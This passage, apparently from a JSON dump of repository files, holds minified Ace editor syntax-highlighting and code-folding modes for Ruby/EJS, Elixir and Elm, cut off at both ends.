t[0]===\"heredoc\"||t[0]===\"indentedHeredoc\"?t[0]:e}},{token:\"string.character\",regex:\"\\\\B\\\\?.\"},{token:\"keyword.operator\",regex:\"!|\\\\$|%|&|\\\\*|\\\\-\\\\-|\\\\-|\\\\+\\\\+|\\\\+|~|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\\\|\\\\||\\\\?\\\\:|\\\\*=|%=|\\\\+=|\\\\-=|&=|\\\\^=|\\\\b(?:in|instanceof|new|delete|typeof|void)\"},{token:\"paren.lparen\",regex:\"[[({]\"},{token:\"paren.rparen\",regex:\"[\\\\])}]\"},{token:\"text\",regex:\"\\\\s+\"}],comment:[{token:\"comment\",regex:\"^=end(?:$|\\\\s.*$)\",next:\"start\"},{token:\"comment\",regex:\".+\"}]},this.normalizeRules()};r.inherits(c,i),t.RubyHighlightRules=c}),define(\"ace/mode/folding/coffee\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/fold_mode\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./fold_mode\").FoldMode,s=e(\"../../range\").Range,o=t.FoldMode=function(){};r.inherits(o,i),function(){this.getFoldWidgetRange=function(e,t,n){var r=this.indentationBlock(e,n);if(r)return r;var i=/\\S/,o=e.getLine(n),u=o.search(i);if(u==-1||o[u]!=\"#\")return;var a=o.length,f=e.getLength(),l=n,c=n;while(++n<f){o=e.getLine(n);var h=o.search(i);if(h==-1)continue;if(o[h]!=\"#\")break;c=n}if(c>l){var p=e.getLine(c).length;return new s(l,a,c,p)}},this.getFoldWidget=function(e,t,n){var r=e.getLine(n),i=r.search(/\\S/),s=e.getLine(n+1),o=e.getLine(n-1),u=o.search(/\\S/),a=s.search(/\\S/);if(i==-1)return e.foldWidgets[n-1]=u!=-1&&u<a?\"start\":\"\",\"\";if(u==-1){if(i==a&&r[i]==\"#\"&&s[i]==\"#\")return e.foldWidgets[n-1]=\"\",e.foldWidgets[n+1]=\"\",\"start\"}else if(u==i&&r[i]==\"#\"&&o[i]==\"#\"&&e.getLine(n-2).search(/\\S/)==-1)return e.foldWidgets[n-1]=\"start\",e.foldWidgets[n+1]=\"\",\"\";return u!=-1&&u<i?e.foldWidgets[n-1]=\"start\":e.foldWidgets[n-1]=\"\",i<a?\"start\":\"\"}}.call(o.prototype)}),define(\"ace/mode/ruby\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/ruby_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/range\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/coffee\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./ruby_highlight_rules\").RubyHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../range\").Range,a=e(\"./behaviour/cstyle\").CstyleBehaviour,f=e(\"./folding/coffee\").FoldMode,l=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new a,this.foldingRules=new f};r.inherits(l,i),function(){this.lineCommentStart=\"#\",this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"){var o=t.match(/^.*[\\{\\(\\[]\\s*$/),u=t.match(/^\\s*(class|def|module)\\s.*$/),a=t.match(/.*do(\\s*|\\s+\\|.*\\|\\s*)$/),f=t.match(/^\\s*(if|else)\\s*/);if(o||u||a||f)r+=n}return r},this.checkOutdent=function(e,t,n){return/^\\s+(end|else)$/.test(t+n)||this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){var r=t.getLine(n);if(/}/.test(r))return this.$outdent.autoOutdent(t,n);var i=this.$getIndent(r),s=t.getLine(n-1),o=this.$getIndent(s),a=t.getTabString();o.length<=i.length&&i.slice(-a.length)==a&&t.remove(new u(n,i.length-a.length,n,i.length))},this.$id=\"ace/mode/ruby\"}.call(l.prototype),t.Mode=l}),define(\"ace/mode/ejs\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/html_highlight_rules\",\"ace/mode/javascript_highlight_rules\",\"ace/lib/oop\",\"ace/mode/html\",\"ace/mode/javascript\",\"ace/mode/css\",\"ace/mode/ruby\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./html_highlight_rules\").HtmlHighlightRules,s=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,o=function(e,t){i.call(this),e||(e=\"(?:<%|<\\\\?|{{)\"),t||(t=\"(?:%>|\\\\?>|}})\");for(var n in this.$rules)this.$rules[n].unshift({token:\"markup.list.meta.tag\",regex:e+\"(?![>}])[-=]?\",push:\"ejs-start\"});this.embedRules(s,\"ejs-\",[{token:\"markup.list.meta.tag\",regex:\"-?\"+t,next:\"pop\"},{token:\"comment\",regex:\"//.*?\"+t,next:\"pop\"}]),this.normalizeRules()};r.inherits(o,i),t.EjsHighlightRules=o;var r=e(\"../lib/oop\"),u=e(\"./html\").Mode,a=e(\"./javascript\").Mode,f=e(\"./css\").Mode,l=e(\"./ruby\").Mode,c=function(){u.call(this),this.HighlightRules=o,this.createModeDelegates({\"js-\":a,\"css-\":f,\"ejs-\":a})};r.inherits(c,u),function(){this.$id=\"ace/mode/ejs\"}.call(c.prototype),t.Mode=c})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-elixir.js",
    "content": "define(\"ace/mode/elixir_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:[\"meta.module.elixir\",\"keyword.control.module.elixir\",\"meta.module.elixir\",\"entity.name.type.module.elixir\"],regex:\"^(\\\\s*)(defmodule)(\\\\s+)((?:[A-Z]\\\\w*\\\\s*\\\\.\\\\s*)*[A-Z]\\\\w*)\"},{token:\"comment.documentation.heredoc\",regex:'@(?:module|type)?doc (?:~[a-z])?\"\"\"',push:[{token:\"comment.documentation.heredoc\",regex:'\\\\s*\"\"\"',next:\"pop\"},{include:\"#interpolated_elixir\"},{include:\"#escaped_char\"},{defaultToken:\"comment.documentation.heredoc\"}],comment:\"@doc with heredocs is treated as documentation\"},{token:\"comment.documentation.heredoc\",regex:'@(?:module|type)?doc ~[A-Z]\"\"\"',push:[{token:\"comment.documentation.heredoc\",regex:'\\\\s*\"\"\"',next:\"pop\"},{defaultToken:\"comment.documentation.heredoc\"}],comment:\"@doc with heredocs is treated as documentation\"},{token:\"comment.documentation.heredoc\",regex:\"@(?:module|type)?doc (?:~[a-z])?'''\",push:[{token:\"comment.documentation.heredoc\",regex:\"\\\\s*'''\",next:\"pop\"},{include:\"#interpolated_elixir\"},{include:\"#escaped_char\"},{defaultToken:\"comment.documentation.heredoc\"}],comment:\"@doc with heredocs is treated as documentation\"},{token:\"comment.documentation.heredoc\",regex:\"@(?:module|type)?doc ~[A-Z]'''\",push:[{token:\"comment.documentation.heredoc\",regex:\"\\\\s*'''\",next:\"pop\"},{defaultToken:\"comment.documentation.heredoc\"}],comment:\"@doc with heredocs is treated as documentation\"},{token:\"comment.documentation.false\",regex:\"@(?:module|type)?doc false\",comment:\"@doc false is treated as documentation\"},{token:\"comment.documentation.string\",regex:'@(?:module|type)?doc \"',push:[{token:\"comment.documentation.string\",regex:'\"',next:\"pop\"},{include:\"#interpolated_elixir\"},{include:\"#escaped_char\"},{defaultToken:\"comment.documentation.string\"}],comment:\"@doc with string is treated as documentation\"},{token:\"keyword.control.elixir\",regex:\"\\\\b(?:do|end|case|bc|lc|for|if|cond|unless|try|receive|fn|defmodule|defp?|defprotocol|defimpl|defrecord|defstruct|defmacrop?|defdelegate|defcallback|defmacrocallback|defexception|defoverridable|exit|after|rescue|catch|else|raise|throw|import|require|alias|use|quote|unquote|super)\\\\b(?![?!])\",TODO:\"FIXME: regexp doesn't have js equivalent\",originalRegex:\"(?<!\\\\.)\\\\b(do|end|case|bc|lc|for|if|cond|unless|try|receive|fn|defmodule|defp?|defprotocol|defimpl|defrecord|defstruct|defmacrop?|defdelegate|defcallback|defmacrocallback|defexception|defoverridable|exit|after|rescue|catch|else|raise|throw|import|require|alias|use|quote|unquote|super)\\\\b(?![?!])\"},{token:\"keyword.operator.elixir\",regex:\"\\\\b(?:and|not|or|when|xor|in|inlist|inbits)\\\\b\",TODO:\"FIXME: regexp doesn't have js equivalent\",originalRegex:\"(?<!\\\\.)\\\\b(and|not|or|when|xor|in|inlist|inbits)\\\\b\",comment:\" as above, just doesn't need a 'end' and does a logic operation\"},{token:\"constant.language.elixir\",regex:\"\\\\b(?:nil|true|false)\\\\b(?![?!])\"},{token:\"variable.language.elixir\",regex:\"\\\\b__(?:CALLER|ENV|MODULE|DIR)__\\\\b(?![?!])\"},{token:[\"punctuation.definition.variable.elixir\",\"variable.other.readwrite.module.elixir\"],regex:\"(@)([a-zA-Z_]\\\\w*)\"},{token:[\"punctuation.definition.variable.elixir\",\"variable.other.anonymous.elixir\"],regex:\"(&)(\\\\d*)\"},{token:\"variable.other.constant.elixir\",regex:\"\\\\b[A-Z]\\\\w*\\\\b\"},{token:\"constant.numeric.elixir\",regex:\"\\\\b(?:0x[\\\\da-fA-F](?:_?[\\\\da-fA-F])*|\\\\d(?:_?\\\\d)*(?:\\\\.(?![^[:space:][:digit:]])(?:_?\\\\d)*)?(?:[eE][-+]?\\\\d(?:_?\\\\d)*)?|0b[01]+|0o[0-7]+)\\\\b\",TODO:\"FIXME: regexp doesn't have js equivalent\",originalRegex:\"\\\\b(0x\\\\h(?>_?\\\\h)*|\\\\d(?>_?\\\\d)*(\\\\.(?![^[:space:][:digit:]])(?>_?\\\\d)*)?([eE][-+]?\\\\d(?>_?\\\\d)*)?|0b[01]+|0o[0-7]+)\\\\b\"},{token:\"punctuation.definition.constant.elixir\",regex:\":'\",push:[{token:\"punctuation.definition.constant.elixir\",regex:\"'\",next:\"pop\"},{include:\"#interpolated_elixir\"},{include:\"#escaped_char\"},{defaultToken:\"constant.other.symbol.single-quoted.elixir\"}]},{token:\"punctuation.definition.constant.elixir\",regex:':\"',push:[{token:\"punctuation.definition.constant.elixir\",regex:'\"',next:\"pop\"},{include:\"#interpolated_elixir\"},{include:\"#escaped_char\"},{defaultToken:\"constant.other.symbol.double-quoted.elixir\"}]},{token:\"punctuation.definition.string.begin.elixir\",regex:\"(?:''')\",TODO:\"FIXME: regexp doesn't have js equivalent\",originalRegex:\"(?>''')\",push:[{token:\"punctuation.definition.string.end.elixir\",regex:\"^\\\\s*'''\",next:\"pop\"},{include:\"#interpolated_elixir\"},{include:\"#escaped_char\"},{defaultToken:\"support.function.variable.quoted.single.heredoc.elixir\"}],comment:\"Single-quoted heredocs\"},{token:\"punctuation.definition.string.begin.elixir\",regex:\"'\",push:[{token:\"punctuation.definition.string.end.elixir\",regex:\"'\",next:\"pop\"},{include:\"#interpolated_elixir\"},{include:\"#escaped_char\"},{defaultToken:\"support.function.variable.quoted.single.elixir\"}],comment:\"single quoted string (allows for interpolation)\"},{token:\"punctuation.definition.string.begin.elixir\",regex:'(?:\"\"\")',TODO:\"FIXME: regexp doesn't have js equivalent\",originalRegex:'(?>\"\"\")',push:[{token:\"punctuation.definition.string.end.elixir\",regex:'^\\\\s*\"\"\"',next:\"pop\"},{include:\"#interpolated_elixir\"},{include:\"#escaped_char\"},{defaultToken:\"string.quoted.double.heredoc.elixir\"}],comment:\"Double-quoted heredocs\"},{token:\"punctuation.definition.string.begin.elixir\",regex:'\"',push:[{token:\"punctuation.definition.string.end.elixir\",regex:'\"',next:\"pop\"},{include:\"#interpolated_elixir\"},{include:\"#escaped_char\"},{defaultToken:\"string.quoted.double.elixir\"}],comment:\"double quoted string (allows for interpolation)\"},{token:\"punctuation.definition.string.begin.elixir\",regex:'~[a-z](?:\"\"\")',TODO:\"FIXME: regexp doesn't have js equivalent\",originalRegex:'~[a-z](?>\"\"\")',push:[{token:\"punctuation.definition.string.end.elixir\",regex:'^\\\\s*\"\"\"',next:\"pop\"},{include:\"#interpolated_elixir\"},{include:\"#escaped_char\"},{defaultToken:\"string.quoted.double.heredoc.elixir\"}],comment:\"Double-quoted heredocs sigils\"},{token:\"punctuation.definition.string.begin.elixir\",regex:\"~[a-z]\\\\{\",push:[{token:\"punctuation.definition.string.end.elixir\",regex:\"\\\\}[a-z]*\",next:\"pop\"},{include:\"#interpolated_elixir\"},{include:\"#escaped_char\"},{defaultToken:\"string.interpolated.elixir\"}],comment:\"sigil (allow for interpolation)\"},{token:\"punctuation.definition.string.begin.elixir\",regex:\"~[a-z]\\\\[\",push:[{token:\"punctuation.definition.string.end.elixir\",regex:\"\\\\][a-z]*\",next:\"pop\"},{include:\"#interpolated_elixir\"},{include:\"#escaped_char\"},{defaultToken:\"string.interpolated.elixir\"}],comment:\"sigil (allow for interpolation)\"},{token:\"punctuation.definition.string.begin.elixir\",regex:\"~[a-z]\\\\<\",push:[{token:\"punctuation.definition.string.end.elixir\",regex:\"\\\\>[a-z]*\",next:\"pop\"},{include:\"#interpolated_elixir\"},{include:\"#escaped_char\"},{defaultToken:\"string.interpolated.elixir\"}],comment:\"sigil (allow for interpolation)\"},{token:\"punctuation.definition.string.begin.elixir\",regex:\"~[a-z]\\\\(\",push:[{token:\"punctuation.definition.string.end.elixir\",regex:\"\\\\)[a-z]*\",next:\"pop\"},{include:\"#interpolated_elixir\"},{include:\"#escaped_char\"},{defaultToken:\"string.interpolated.elixir\"}],comment:\"sigil (allow for interpolation)\"},{token:\"punctuation.definition.string.begin.elixir\",regex:\"~[a-z][^\\\\w]\",push:[{token:\"punctuation.definition.string.end.elixir\",regex:\"[^\\\\w][a-z]*\",next:\"pop\"},{include:\"#interpolated_elixir\"},{include:\"#escaped_char\"},{include:\"#escaped_char\"},{defaultToken:\"string.interpolated.elixir\"}],comment:\"sigil (allow for interpolation)\"},{token:\"punctuation.definition.string.begin.elixir\",regex:'~[A-Z](?:\"\"\")',TODO:\"FIXME: regexp doesn't have js equivalent\",originalRegex:'~[A-Z](?>\"\"\")',push:[{token:\"punctuation.definition.string.end.elixir\",regex:'^\\\\s*\"\"\"',next:\"pop\"},{defaultToken:\"string.quoted.other.literal.upper.elixir\"}],comment:\"Double-quoted heredocs sigils\"},{token:\"punctuation.definition.string.begin.elixir\",regex:\"~[A-Z]\\\\{\",push:[{token:\"punctuation.definition.string.end.elixir\",regex:\"\\\\}[a-z]*\",next:\"pop\"},{defaultToken:\"string.quoted.other.literal.upper.elixir\"}],comment:\"sigil (without interpolation)\"},{token:\"punctuation.definition.string.begin.elixir\",regex:\"~[A-Z]\\\\[\",push:[{token:\"punctuation.definition.string.end.elixir\",regex:\"\\\\][a-z]*\",next:\"pop\"},{defaultToken:\"string.quoted.other.literal.upper.elixir\"}],comment:\"sigil (without interpolation)\"},{token:\"punctuation.definition.string.begin.elixir\",regex:\"~[A-Z]\\\\<\",push:[{token:\"punctuation.definition.string.end.elixir\",regex:\"\\\\>[a-z]*\",next:\"pop\"},{defaultToken:\"string.quoted.other.literal.upper.elixir\"}],comment:\"sigil (without interpolation)\"},{token:\"punctuation.definition.string.begin.elixir\",regex:\"~[A-Z]\\\\(\",push:[{token:\"punctuation.definition.string.end.elixir\",regex:\"\\\\)[a-z]*\",next:\"pop\"},{defaultToken:\"string.quoted.other.literal.upper.elixir\"}],comment:\"sigil (without interpolation)\"},{token:\"punctuation.definition.string.begin.elixir\",regex:\"~[A-Z][^\\\\w]\",push:[{token:\"punctuation.definition.string.end.elixir\",regex:\"[^\\\\w][a-z]*\",next:\"pop\"},{defaultToken:\"string.quoted.other.literal.upper.elixir\"}],comment:\"sigil (without interpolation)\"},{token:[\"punctuation.definition.constant.elixir\",\"constant.other.symbol.elixir\"],regex:\"(:)([a-zA-Z_][\\\\w@]*(?:[?!]|=(?![>=]))?|\\\\<\\\\>|===?|!==?|<<>>|<<<|>>>|~~~|::|<\\\\-|\\\\|>|=>|~|~=|=|/|\\\\\\\\\\\\\\\\|\\\\*\\\\*?|\\\\.\\\\.?\\\\.?|>=?|<=?|&&?&?|\\\\+\\\\+?|\\\\-\\\\-?|\\\\|\\\\|?\\\\|?|\\\\!|@|\\\\%?\\\\{\\\\}|%|\\\\[\\\\]|\\\\^(?:\\\\^\\\\^)?)\",TODO:\"FIXME: regexp doesn't have js equivalent\",originalRegex:\"(?<!:)(:)(?>[a-zA-Z_][\\\\w@]*(?>[?!]|=(?![>=]))?|\\\\<\\\\>|===?|!==?|<<>>|<<<|>>>|~~~|::|<\\\\-|\\\\|>|=>|~|~=|=|/|\\\\\\\\\\\\\\\\|\\\\*\\\\*?|\\\\.\\\\.?\\\\.?|>=?|<=?|&&?&?|\\\\+\\\\+?|\\\\-\\\\-?|\\\\|\\\\|?\\\\|?|\\\\!|@|\\\\%?\\\\{\\\\}|%|\\\\[\\\\]|\\\\^(\\\\^\\\\^)?)\",comment:\"symbols\"},{token:\"punctuation.definition.constant.elixir\",regex:\"(?:[a-zA-Z_][\\\\w@]*(?:[?!])?):(?!:)\",TODO:\"FIXME: regexp doesn't have js equivalent\",originalRegex:\"(?>[a-zA-Z_][\\\\w@]*(?>[?!])?)(:)(?!:)\",comment:\"symbols\"},{token:[\"punctuation.definition.comment.elixir\",\"comment.line.number-sign.elixir\"],regex:\"(#)(.*)\"},{token:\"constant.numeric.elixir\",regex:\"\\\\?(?:\\\\\\\\(?:x[\\\\da-fA-F]{1,2}(?![\\\\da-fA-F])\\\\b|[^xMC])|[^\\\\s\\\\\\\\])\",TODO:\"FIXME: regexp doesn't have js equivalent\",originalRegex:\"(?<!\\\\w)\\\\?(\\\\\\\\(x\\\\h{1,2}(?!\\\\h)\\\\b|[^xMC])|[^\\\\s\\\\\\\\])\",comment:'\\n\t\t\tmatches questionmark-letters.\\n\\n\t\t\texamples (1st alternation = hex):\\n\t\t\t?\\\\x1     ?\\\\x61\\n\\n\t\t\texamples (2rd alternation = escaped):\\n\t\t\t?\\\\n      ?\\\\b\\n\\n\t\t\texamples (3rd alternation = normal):\\n\t\t\t?a       ?A       ?0 \\n\t\t\t?*       ?\"       ?( \\n\t\t\t?.       ?#\\n\t\t\t\\n\t\t\tthe negative lookbehind prevents against matching\\n\t\t\tp(42.tainted?)\\n\t\t\t'},{token:\"keyword.operator.assignment.augmented.elixir\",regex:\"\\\\+=|\\\\-=|\\\\|\\\\|=|~=|&&=\"},{token:\"keyword.operator.comparison.elixir\",regex:\"===?|!==?|<=?|>=?\"},{token:\"keyword.operator.bitwise.elixir\",regex:\"\\\\|{3}|&{3}|\\\\^{3}|<{3}|>{3}|~{3}\"},{token:\"keyword.operator.logical.elixir\",regex:\"!+|\\\\bnot\\\\b|&&|\\\\band\\\\b|\\\\|\\\\||\\\\bor\\\\b|\\\\bxor\\\\b\",originalRegex:\"(?<=[ \\\\t])!+|\\\\bnot\\\\b|&&|\\\\band\\\\b|\\\\|\\\\||\\\\bor\\\\b|\\\\bxor\\\\b\"},{token:\"keyword.operator.arithmetic.elixir\",regex:\"\\\\*|\\\\+|\\\\-|/\"},{token:\"keyword.operator.other.elixir\",regex:\"\\\\||\\\\+\\\\+|\\\\-\\\\-|\\\\*\\\\*|\\\\\\\\\\\\\\\\|\\\\<\\\\-|\\\\<\\\\>|\\\\<\\\\<|\\\\>\\\\>|\\\\:\\\\:|\\\\.\\\\.|\\\\|>|~|=>\"},{token:\"keyword.operator.assignment.elixir\",regex:\"=\"},{token:\"punctuation.separator.other.elixir\",regex:\":\"},{token:\"punctuation.separator.statement.elixir\",regex:\"\\\\;\"},{token:\"punctuation.separator.object.elixir\",regex:\",\"},{token:\"punctuation.separator.method.elixir\",regex:\"\\\\.\"},{token:\"punctuation.section.scope.elixir\",regex:\"\\\\{|\\\\}\"},{token:\"punctuation.section.array.elixir\",regex:\"\\\\[|\\\\]\"},{token:\"punctuation.section.function.elixir\",regex:\"\\\\(|\\\\)\"}],\"#escaped_char\":[{token:\"constant.character.escape.elixir\",regex:\"\\\\\\\\(?:x[\\\\da-fA-F]{1,2}|.)\"}],\"#interpolated_elixir\":[{token:[\"source.elixir.embedded.source\",\"source.elixir.embedded.source.empty\"],regex:\"(#\\\\{)(\\\\})\"},{todo:{token:\"punctuation.section.embedded.elixir\",regex:\"#\\\\{\",push:[{token:\"punctuation.section.embedded.elixir\",regex:\"\\\\}\",next:\"pop\"},{include:\"#nest_curly_and_self\"},{include:\"$self\"},{defaultToken:\"source.elixir.embedded.source\"}]}}],\"#nest_curly_and_self\":[{token:\"punctuation.section.scope.elixir\",regex:\"\\\\{\",push:[{token:\"punctuation.section.scope.elixir\",regex:\"\\\\}\",next:\"pop\"},{include:\"#nest_curly_and_self\"}]},{include:\"$self\"}],\"#regex_sub\":[{include:\"#interpolated_elixir\"},{include:\"#escaped_char\"},{token:[\"punctuation.definition.arbitrary-repitition.elixir\",\"string.regexp.arbitrary-repitition.elixir\",\"string.regexp.arbitrary-repitition.elixir\",\"punctuation.definition.arbitrary-repitition.elixir\"],regex:\"(\\\\{)(\\\\d+)((?:,\\\\d+)?)(\\\\})\"},{token:\"punctuation.definition.character-class.elixir\",regex:\"\\\\[(?:\\\\^?\\\\])?\",push:[{token:\"punctuation.definition.character-class.elixir\",regex:\"\\\\]\",next:\"pop\"},{include:\"#escaped_char\"},{defaultToken:\"string.regexp.character-class.elixir\"}]},{token:\"punctuation.definition.group.elixir\",regex:\"\\\\(\",push:[{token:\"punctuation.definition.group.elixir\",regex:\"\\\\)\",next:\"pop\"},{include:\"#regex_sub\"},{defaultToken:\"string.regexp.group.elixir\"}]},{token:[\"punctuation.definition.comment.elixir\",\"comment.line.number-sign.elixir\"],regex:\"(?:^|\\\\s)(#)(\\\\s[[a-zA-Z0-9,. \\\\t?!-][^\\\\x00-\\\\x7F]]*$)\",originalRegex:\"(?<=^|\\\\s)(#)\\\\s[[a-zA-Z0-9,. \\\\t?!-][^\\\\x{00}-\\\\x{7F}]]*$\",comment:\"We are restrictive in what we allow to go after the comment character to avoid false positives, since the availability of comments depend on regexp flags.\"}]},this.normalizeRules()};s.metaData={comment:\"Textmate bundle for Elixir Programming Language.\",fileTypes:[\"ex\",\"exs\"],firstLineMatch:\"^#!/.*\\\\belixir\",foldingStartMarker:\"(after|else|catch|rescue|\\\\-\\\\>|\\\\{|\\\\[|do)\\\\s*$\",foldingStopMarker:\"^\\\\s*((\\\\}|\\\\]|after|else|catch|rescue)\\\\s*$|end\\\\b)\",keyEquivalent:\"^~E\",name:\"Elixir\",scopeName:\"source.elixir\"},r.inherits(s,i),t.ElixirHighlightRules=s}),define(\"ace/mode/folding/coffee\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/fold_mode\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./fold_mode\").FoldMode,s=e(\"../../range\").Range,o=t.FoldMode=function(){};r.inherits(o,i),function(){this.getFoldWidgetRange=function(e,t,n){var r=this.indentationBlock(e,n);if(r)return r;var i=/\\S/,o=e.getLine(n),u=o.search(i);if(u==-1||o[u]!=\"#\")return;var a=o.length,f=e.getLength(),l=n,c=n;while(++n<f){o=e.getLine(n);var h=o.search(i);if(h==-1)continue;if(o[h]!=\"#\")break;c=n}if(c>l){var p=e.getLine(c).length;return new s(l,a,c,p)}},this.getFoldWidget=function(e,t,n){var r=e.getLine(n),i=r.search(/\\S/),s=e.getLine(n+1),o=e.getLine(n-1),u=o.search(/\\S/),a=s.search(/\\S/);if(i==-1)return e.foldWidgets[n-1]=u!=-1&&u<a?\"start\":\"\",\"\";if(u==-1){if(i==a&&r[i]==\"#\"&&s[i]==\"#\")return e.foldWidgets[n-1]=\"\",e.foldWidgets[n+1]=\"\",\"start\"}else if(u==i&&r[i]==\"#\"&&o[i]==\"#\"&&e.getLine(n-2).search(/\\S/)==-1)return e.foldWidgets[n-1]=\"start\",e.foldWidgets[n+1]=\"\",\"\";return u!=-1&&u<i?e.foldWidgets[n-1]=\"start\":e.foldWidgets[n-1]=\"\",i<a?\"start\":\"\"}}.call(o.prototype)}),define(\"ace/mode/elixir\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/elixir_highlight_rules\",\"ace/mode/folding/coffee\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./elixir_highlight_rules\").ElixirHighlightRules,o=e(\"./folding/coffee\").FoldMode,u=function(){this.HighlightRules=s,this.foldingRules=new o};r.inherits(u,i),function(){this.lineCommentStart=\"#\",this.$id=\"ace/mode/elixir\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-elm.js",
    "content": "define(\"ace/mode/elm_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){var e=this.createKeywordMapper({keyword:\"as|case|class|data|default|deriving|do|else|export|foreign|hiding|jsevent|if|import|in|infix|infixl|infixr|instance|let|module|newtype|of|open|then|type|where|_|port|\\u03bb\"},\"identifier\"),t=/\\\\(\\d+|['\"\\\\&trnbvf])/,n=/[a-z_]/.source,r=/[A-Z]/.source,i=/[a-z_A-Z0-9\\']/.source;this.$rules={start:[{token:\"string.start\",regex:'\"',next:\"string\"},{token:\"string.character\",regex:\"'(?:\"+t.source+\"|.)'?\"},{regex:/0(?:[xX][0-9A-Fa-f]+|[oO][0-7]+)|\\d+(\\.\\d+)?([eE][-+]?\\d*)?/,token:\"constant.numeric\"},{token:\"comment\",regex:\"--.*\"},{token:\"keyword\",regex:/\\.\\.|\\||:|=|\\\\|\\\"|->|<-|\\u2192/},{token:\"keyword.operator\",regex:/[-!#$%&*+.\\/<=>?@\\\\^|~:\\u03BB\\u2192]+/},{token:\"operator.punctuation\",regex:/[,;`]/},{regex:r+i+\"+\\\\.?\",token:function(e){return e[e.length-1]==\".\"?\"entity.name.function\":\"constant.language\"}},{regex:\"^\"+n+i+\"+\",token:function(e){return\"constant.language\"}},{token:e,regex:\"[\\\\w\\\\xff-\\\\u218e\\\\u2455-\\\\uffff]+\\\\b\"},{regex:\"{-#?\",token:\"comment.start\",onMatch:function(e,t,n){return this.next=e.length==2?\"blockComment\":\"docComment\",this.token}},{token:\"variable.language\",regex:/\\[markdown\\|/,next:\"markdown\"},{token:\"paren.lparen\",regex:/[\\[({]/},{token:\"paren.rparen\",regex:/[\\])}]/}],markdown:[{regex:/\\|\\]/,next:\"start\"},{defaultToken:\"string\"}],blockComment:[{regex:\"{-\",token:\"comment.start\",push:\"blockComment\"},{regex:\"-}\",token:\"comment.end\",next:\"pop\"},{defaultToken:\"comment\"}],docComment:[{regex:\"{-\",token:\"comment.start\",push:\"docComment\"},{regex:\"-}\",token:\"comment.end\",next:\"pop\"},{defaultToken:\"doc.comment\"}],string:[{token:\"constant.language.escape\",regex:t},{token:\"text\",regex:/\\\\(\\s|$)/,next:\"stringGap\"},{token:\"string.end\",regex:'\"',next:\"start\"}],stringGap:[{token:\"text\",regex:/\\\\/,next:\"string\"},{token:\"error\",regex:\"\",next:\"start\"}]},this.normalizeRules()};r.inherits(s,i),t.ElmHighlightRules=s}),define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var 